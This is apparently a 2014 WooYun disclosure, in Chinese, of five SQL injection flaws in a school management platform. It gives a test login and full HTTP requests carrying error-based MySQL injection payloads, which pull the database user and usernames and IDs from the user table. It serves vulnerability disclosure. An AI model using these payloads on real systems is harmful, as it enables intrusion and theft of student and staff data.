通用型校园管理平台SQL注入1-5

漏洞概要

缺陷编号:WooYun-2014-053924

漏洞标题:通用型校园管理平台SQL注入1-5

相关厂商:cncert国家互联网应急中心

漏洞作者:xfkxfk

提交时间:2014-03-20 17:09

公开时间:2014-06-16 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2014-03-20: 细节已通知厂商并且等待厂商处理中
2014-03-25: 厂商已经确认,细节仅向厂商公开
2014-03-28: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-05-19: 细节向核心白帽子及相关领域专家公开
2014-05-29: 细节向普通白帽子公开
2014-06-08: 细节向实习白帽子公开
2014-06-16: 细节向公众公开

简要描述:

通用型校园管理平台多处SQL注入

详细说明:

北京乐知行软件有限公司,通用型校园管理平台官方案例:http://**.**.**.**/cms/lzx/case/index.jhtml我们那北京101中学为例:

案例网址:**.**.**.**/datacenter/#测试用户:test123/123456第一处SQL注入:1、普通学生用户登陆2、一周日程——导出日程——确定3、发送下面请求:链接:**.**.**.**/oa/calendar/exportExcel.doPOST:exportStartDate=2014-03-03&exportEndDate=2014-03-04&exportCalendars=zhaojinfeng2%E6%97%A5%E5%8E%86&exportCalendarIds=16d07c5ff5e44036b5a44751ab2df91e') AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((user()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and ('1'='1在参数exportCalendars处存在SQL注入。发送请求后,会下载文件,注入后的内容就在此文件里。

确定,下载文件。打开文件就是我们注入后的结果:

第二处SQL注入:1、普通学生用户登陆2、一周日程——选择一个日程进行修改(没有日程新建一个)——保存修改3、在保存是抓包修改问题参数在c0-e1修改c0-e1参数,发送修改后的请如下:POST /oa/dwr/call/plaincall/calendarRemoteCallController.saveEvent.dwr HTTP/1.1Host: **.**.**.**Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026acallCount=1windowName=pageContentc0-scriptName=calendarRemoteCallControllerc0-methodName=saveEventc0-id=0c0-e1=string:0e362687769f426380ab1b8a015ef014' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='ac0-e2=string:c0-e3=string:1111111111111c0-e4=string:2014-03-04c0-e5=string:2014-03-04c0-e6=boolean:truec0-e7=boolean:truec0-e8=string:rgb(230%2C115%2C153)c0-e9=number:1c0-e10=null:nullc0-e11=string:-1c0-e12=number:2c0-e13=string:arrangec0-e14=number:0c0-e15=null:nullc0-e16=null:nullc0-e17=string:c0-e18=string:c0-e19=string:c0-e20=string:c0-e21=string:0c0-param0=Object_Object:{id:reference:c0-e1, eventId:reference:c0-e2, title:reference:c0-e3, start:reference:c0-e4, end:reference:c0-e5, allDay:reference:c0-e6, editable:reference:c0-e7, backgroundColor:reference:c0-e8, priority:reference:c0-e9, calendarNameId:reference:c0-e10, remind:reference:c0-e11, privacy:reference:c0-e12, eventType:reference:c0-e13, eventStatus:reference:c0-e14, calendarProjectId:reference:c0-e15, arrangeRelation:reference:c0-e16, messageTaskId:reference:c0-e17, dutier:reference:c0-e18, parter:reference:c0-e19, site:reference:c0-e20, xlts:reference:c0-e21}c0-param1=string:c0-param2=boolean:falsec0-param3=boolean:truebatchId=25page=%2Foa%2F%2Fcalendar%2FinitCalendar.do%3F__time__%3D1394571647842httpSessionId=scriptSessionId=4C1126686168926E787E3EBB1EA961EF返回结果会报错,在报错信息中成功注入出我们想要的数据:

第三处SQL注入:1、普通学生用户登陆2、我的桌面——添加我的投票——主题搜索3、在搜索内容时,抓包,修改criteria,criteria参数存在注入。发送如下请求:POST /datacenter/vote/myVoteList.do HTTP/1.1Host: **.**.**.**Cookie: aae03b698ecd444aa0ae02f8d87c026a_search=false&nd=1394576122963&rows=50&page=1&sidx=from_date&sord=desc&criteria=theme+like+'%25123%25'+AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a'成功注入出想要的数据:

第四处SQL注入:1、普通学生用户登陆2、我的门户——添加门户项——常用信息3、发布常用信息4、发布消息时,截包,修改,参数ID存在SQL注入发送如下请求:链接:**.**.**.**/oa//mail/personal/save.doPOST:privat=2&portlet=portlet&xxzt=complete&id=822b6cdadc7140fe91da513963d4efdc' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT user()),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) and 'a'='a&xxbt=222222&fbsf=个人:zhaojinfeng2&fjrsf=&info=<p>222222<br/></p>&editorValue=<p>222222<br/></p>Cookie: AQ_AUTHENTICATION_COOKIE_KEY=aae03b698ecd444aa0ae02f8d87c026a成功注入处user()的数据:

第五处SQL注入:1、普通学生用户登陆2、我的桌面——添加——校园办公3、进入校园办公——信件中心——写信4、写信时——预览,抓包到此连接时**.**.**.**/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwrPOST参数c0-param0存在注入,此时修改c0-param0为:c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a即可注入出username和user_id发送如下请求:连接:**.**.**.**/oa/dwr/call/plaincall/MailController.getNotReadtotalNumByClassify.dwrPOST:callCount=1windowName=c0-scriptName=MailControllerc0-methodName=getNotReadtotalNumByClassifyc0-id=0c0-param0=string:2' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x23,(SELECT concat(username,0x23,user_id) from aq_user limit 0,1),0x23,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='abatchId=112page=%2Fdatacenter%2Fportlet%2FshowPortletList.do%3FmenuId%3Ded57d3b21fff48738552a4601ed30e55httpSessionId=scriptSessionId=3756A70426EB76F99A0BBDDF3AC4FEBC

漏洞证明:

间详细说明

修复方案:

过滤

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-2523:15

厂商回复:

最新状态:

暂无

评价

  1. 2010-01-01 00:00 wefgod 白帽子 | Rank:1438 漏洞数:124)

    果然合集了?

  2. 2010-01-01 00:00 xfkxfk 白帽子 | Rank:1829 漏洞数:172)

    @wefgod 不是一个哦...

  3. 2010-01-01 00:00 PanFake 白帽子 | Rank:0 漏洞数:0)

    求透露细节!!

  4. 2010-01-01 00:00 wefgod 白帽子 | Rank:1438 漏洞数:124)

    给力

  5. 2010-01-01 00:00 keke 白帽子 | Rank:0 漏洞数:1)

    登陆后的注入? 20?